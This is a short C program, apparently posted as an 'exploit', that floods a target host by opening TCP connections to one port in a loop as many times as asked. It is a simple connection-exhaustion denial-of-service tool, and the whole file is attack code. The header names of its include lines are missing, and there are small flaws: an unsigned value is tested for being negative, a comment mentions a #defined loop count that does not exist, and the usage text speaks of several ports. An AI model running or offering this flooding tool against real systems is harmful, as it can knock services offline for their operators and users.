#include #include #include #include #include #include #include #include #include #include unsigned long net_resolve_host(char *hostname) { unsigned long addr; struct hostent *host; host = gethostbyname(hostname); if (host == NULL) { addr = inet_addr(hostname); if (addr < 0) { perror("error while resolving hostname"); exit(-1); } return (addr); } return (*(unsigned long *)host->h_addr); } inline int net_connect(unsigned long hostname,int port) { int sock; struct sockaddr_in addr; int x; addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = hostname; sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock < 0) { perror("error while getting the socket"); exit(-1); } if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { /* perror("error while connecting"); exit(-1); */ } return (sock); } int main(int argc,char **argv) { unsigned long target; int i=0; unsigned long host; int port,port2,port3; unsigned long int LOOP; if (argc < 4) { printf("usage: ./exploit target ports times\n"); exit(1); } if (strlen(argv[1]) > 100) { printf("target length too big\n"); exit(-1); } if (strlen(argv[2]) > 5) { printf("port string too big\n"); exit(-1); } //run attack looping the #defined amount of times host = net_resolve_host(argv[1]); port = atoi(argv[2]); LOOP = atoi(argv[3]); while (i < LOOP) { net_connect(host,port); i++; } return 1; }